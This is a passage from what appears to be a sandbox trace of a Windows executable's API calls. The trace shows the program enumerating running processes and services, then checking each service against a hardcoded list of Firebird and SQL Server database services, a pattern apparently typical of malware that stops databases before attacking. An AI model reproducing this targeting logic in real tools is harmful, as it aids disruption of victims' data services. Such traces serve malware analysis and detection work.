lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0276.854] lstrlenW (lpString="services.exe") returned 12 [0276.854] Process32NextW (in: hSnapshot=0x554, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0276.855] lstrlenW (lpString="lsass.exe") returned 9 [0276.855] Process32NextW (in: hSnapshot=0x554, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0276.857] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0276.857] Process32NextW (in: hSnapshot=0x554, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0276.857] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0276.858] Process32NextW (in: hSnapshot=0x554, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.859] lstrlenW (lpString="svchost.exe") returned 11 [0276.859] Process32NextW (in: hSnapshot=0x554, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.860] lstrlenW (lpString="svchost.exe") returned 11 [0276.860] Process32NextW (in: hSnapshot=0x554, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0276.860] lstrlenW (lpString="dwm.exe") returned 7 [0276.861] Process32NextW (in: hSnapshot=0x554, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x34, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.861] lstrlenW (lpString="svchost.exe") returned 11 [0276.861] Process32NextW (in: hSnapshot=0x554, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.862] lstrlenW (lpString="svchost.exe") returned 11 [0276.863] Process32NextW (in: hSnapshot=0x554, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.863] lstrlenW (lpString="svchost.exe") returned 11 [0276.863] Process32NextW (in: hSnapshot=0x554, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.864] lstrlenW (lpString="svchost.exe") returned 11 [0276.864] Process32NextW (in: hSnapshot=0x554, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.865] lstrlenW (lpString="svchost.exe") returned 11 [0276.865] Process32NextW (in: hSnapshot=0x554, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x424, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.089] lstrlenW (lpString="svchost.exe") returned 11 [0277.089] Process32NextW (in: hSnapshot=0x554, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.089] lstrlenW (lpString="svchost.exe") returned 11 [0277.089] Process32NextW (in: hSnapshot=0x554, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.090] lstrlenW (lpString="svchost.exe") returned 11 [0277.090] Process32NextW (in: hSnapshot=0x554, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.091] lstrlenW (lpString="svchost.exe") returned 11 [0277.091] Process32NextW (in: hSnapshot=0x554, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.092] lstrlenW (lpString="svchost.exe") returned 11 [0277.092] Process32NextW (in: hSnapshot=0x554, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0277.092] lstrlenW (lpString="spoolsv.exe") returned 11 [0277.093] Process32NextW (in: hSnapshot=0x554, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x61c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.093] lstrlenW (lpString="svchost.exe") returned 11 [0277.093] Process32NextW (in: hSnapshot=0x554, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x518, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0277.094] lstrlenW (lpString="audiodg.exe") returned 11 [0277.094] Process32NextW (in: hSnapshot=0x554, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0277.095] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0277.095] Process32NextW (in: hSnapshot=0x554, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0277.096] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0277.096] Process32NextW (in: hSnapshot=0x554, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0277.098] lstrlenW (lpString="Memory Compression") returned 18 [0277.098] Process32NextW (in: hSnapshot=0x554, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.099] lstrlenW (lpString="svchost.exe") returned 11 [0277.099] Process32NextW (in: hSnapshot=0x554, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0277.100] lstrlenW (lpString="sihost.exe") returned 10 [0277.100] Process32NextW (in: hSnapshot=0x554, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="MDMAgent.exe")) returned 1 [0277.101] lstrlenW (lpString="MDMAgent.exe") returned 12 [0277.101] Process32NextW (in: hSnapshot=0x554, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0277.102] lstrlenW (lpString="taskhostw.exe") returned 13 [0277.102] Process32NextW (in: hSnapshot=0x554, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0277.102] lstrlenW (lpString="msoia.exe") returned 9 [0277.102] Process32NextW (in: hSnapshot=0x554, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0xa28, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0277.103] lstrlenW (lpString="explorer.exe") returned 12 [0277.103] Process32NextW (in: hSnapshot=0x554, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0277.104] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0277.104] Process32NextW (in: hSnapshot=0x554, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0277.105] lstrlenW (lpString="SearchUI.exe") returned 12 [0277.105] Process32NextW (in: hSnapshot=0x554, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0277.106] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0277.107] Process32NextW (in: hSnapshot=0x554, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0277.107] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0277.107] Process32NextW (in: hSnapshot=0x554, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0xa40, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0277.108] lstrlenW (lpString="chrome64b.exe") returned 13 [0277.109] Process32NextW (in: hSnapshot=0x554, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x3c0, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0277.110] lstrlenW (lpString="consent.exe") returned 11 [0277.110] Process32NextW (in: hSnapshot=0x554, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x3c0, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0277.111] CloseHandle (hObject=0x554) returned 1 [0277.111] Sleep (dwMilliseconds=0x1f4) [0277.859] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x69a018 [0277.919] EnumServicesStatusExW (in: hSCManager=0x69a018, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 0 [0277.996] GetLastError () returned 0xea [0277.996] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x1c30) returned 0x45dc468 [0277.996] EnumServicesStatusExW (in: hSCManager=0x69a018, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x45dc468, cbBufSize=0x1c30, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x45dc468, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 1 [0278.001] CloseServiceHandle (hSCObject=0x69a018) returned 1 [0278.018] lstrlenW (lpString="Appinfo") returned 7 [0278.018] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0278.018] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0278.018] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0278.018] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0278.018] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0278.018] lstrlenW (lpString="AppXSvc") returned 7 [0278.018] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0278.018] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0278.018] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0278.019] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0278.019] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0278.019] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0278.019] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0278.019] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0278.019] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0278.019] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0278.019] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0278.019] lstrlenW (lpString="Audiosrv") returned 8 [0278.019] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0278.019] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0278.019] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0278.019] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0278.019] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0278.019] lstrlenW (lpString="BFE") returned 3 [0278.019] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0278.019] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0278.019] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0278.019] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0278.019] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0278.019] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0278.019] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0278.019] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0278.019] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0278.020] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0278.020] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0278.020] lstrlenW (lpString="CDPSvc") returned 6 [0278.020] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0278.020] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0278.020] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0278.020] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0278.020] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0278.020] lstrlenW (lpString="ClickToRunSvc") returned 13 [0278.020] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0278.020] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0278.020] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0278.020] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0278.020] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0278.020] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0278.020] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0278.020] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0278.020] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0278.020] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0278.020] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0278.020] lstrlenW (lpString="CryptSvc") returned 8 [0278.020] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0278.020] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0278.020] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0278.021] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0278.021] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0278.021] lstrlenW (lpString="DcomLaunch") returned 10 [0278.021] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0278.021] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0278.021] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0278.021] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0278.021] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0278.021] lstrlenW (lpString="DeviceAssociationService") returned 24 [0278.021] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0278.021] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0278.021] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0278.021] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0278.021] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0278.021] lstrlenW (lpString="Dhcp") returned 4 [0278.021] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0278.021] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0278.021] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0278.021] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0278.021] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0278.021] lstrlenW (lpString="Dnscache") returned 8 [0278.021] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0278.021] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0278.021] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0278.021] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0278.022] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0278.022] lstrlenW (lpString="DPS") returned 3 [0278.022] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0278.022] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0278.022] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0278.022] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0278.022] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0278.022] lstrlenW (lpString="DusmSvc") returned 7 [0278.022] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0278.022] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0278.022] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0278.022] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0278.022] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0278.022] lstrlenW (lpString="EventLog") returned 8 [0278.022] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0278.022] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0278.022] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0278.022] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0278.022] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0278.022] lstrlenW (lpString="EventSystem") returned 11 [0278.022] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0278.022] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0278.022] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0278.022] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0278.022] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0278.023] lstrlenW (lpString="FontCache") returned 9 [0278.023] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0278.023] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0278.023] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0278.023] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0278.023] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0278.023] lstrlenW (lpString="gpsvc") returned 5 [0278.023] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0278.023] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0278.023] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0278.023] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0278.023] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0278.023] lstrlenW (lpString="iphlpsvc") returned 8 [0278.023] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0278.023] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0278.023] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0278.023] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0278.023] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0278.023] lstrlenW (lpString="KeyIso") returned 6 [0278.023] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0278.023] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0278.023] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0278.023] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0278.023] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0278.024] lstrlenW (lpString="LanmanServer") returned 12 [0278.024] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0278.024] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0278.024] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0278.024] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0278.024] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0278.024] lstrlenW (lpString="LanmanWorkstation") returned 17 [0278.024] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0278.024] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0278.024] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0278.024] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0278.024] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0278.024] lstrlenW (lpString="lfsvc") returned 5 [0278.024] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0278.024] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0278.024] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0278.024] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0278.024] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0278.024] lstrlenW (lpString="lmhosts") returned 7 [0278.024] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", 